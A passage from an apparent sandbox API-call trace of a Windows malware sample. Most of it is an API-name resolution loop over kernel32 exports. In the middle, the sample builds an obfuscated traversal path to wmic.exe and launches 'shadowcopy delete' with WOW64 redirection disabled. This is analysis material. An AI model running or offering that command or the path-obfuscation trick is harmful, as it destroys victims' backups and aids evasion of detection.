returned="DeleteFiber" [0055.198] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.198] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.198] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.198] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.198] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.198] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.198] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.198] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.198] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.198] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.198] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.198] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.198] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.198] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.198] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.198] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.198] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.198] lstrcpyA (in: lpString1=0x34ed04, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.198] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.199] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.199] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.199] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.199] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.199] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.199] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.199] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.199] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.199] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.199] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.199] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.199] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.199] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.199] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.199] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.199] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.199] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.199] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.200] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.200] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.200] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.200] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.200] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.200] lstrcpyA (in: lpString1=0x34ed04, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\" [0055.200] lstrcatW (in: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\", lpString2="..\\" | out: lpString1="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\..\\") returned="C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\..\\" [0055.201] wsprintfW (in: param_1=0x2ec0000, param_2="\"%s\" shadowcopy delete" | out: param_1="\"C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\..\\wmic.exe\" shadowcopy delete") returned 115 [0055.201] GetModuleHandleW (lpModuleName="kernel32") returned 0x76c20000 [0055.202] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0055.202] Wow64DisableWow64FsRedirection (in: OldValue=0x34fa04 | out: OldValue=0x34fa04*=0x0) returned 1 [0055.202] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\..\\wmic.exe\" shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x34f9c0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34fa40 | out: lpCommandLine="\"C:\\m\\..\\Windows\\ovxhp\\sff\\qyv\\..\\..\\..\\system32\\w\\sfc\\roma\\..\\..\\..\\wbem\\ux\\dgfg\\..\\..\\wmic.exe\" shadowcopy delete", lpProcessInformation=0x34fa40*(hProcess=0x228, hThread=0x224, dwProcessId=0xa78, dwThreadId=0xa7c)) returned 1 [0055.564] CloseHandle (hObject=0x228) returned 1 [0055.564] CloseHandle (hObject=0x224) returned 1 [0055.564] GetModuleHandleW (lpModuleName="kernel32") returned 0x76c20000 [0055.565] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76c4d668 [0055.565] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0055.565] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.565] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.565] lstrlenA (lpString="kernel32.dll") returned 12 [0055.565] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.565] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.565] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.565] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.566] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.566] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.566] lstrlenA (lpString="ADDATOMA") returned 8 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.566] lstrlenA (lpString="ADDATOMW") returned 8 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.566] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.566] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.566] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.566] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.566] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.566] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.566] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.566] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.566] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.566] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.566] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.566] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.566] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.566] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.566] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.567] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.567] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.567] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.567] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.567] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.567] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.567] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.567] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.567] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.567] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.567] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.567] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.567] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.567] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.567] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.567] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.567] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.567] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.567] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.568] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.568] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.568] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.568] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.568] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.568] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.568] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.568] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.568] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.568] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.568] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.568] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.568] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.568] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.568] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.568] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.568] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.568] lstrcpyA (in: lpString1=0x34f1bc, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.569] lstrlenA (lpString="BEEP") returned 4 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.569] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.569] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.569] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.569] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.569] lstrcpyA (in: lpString1=0x34f1bc, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") 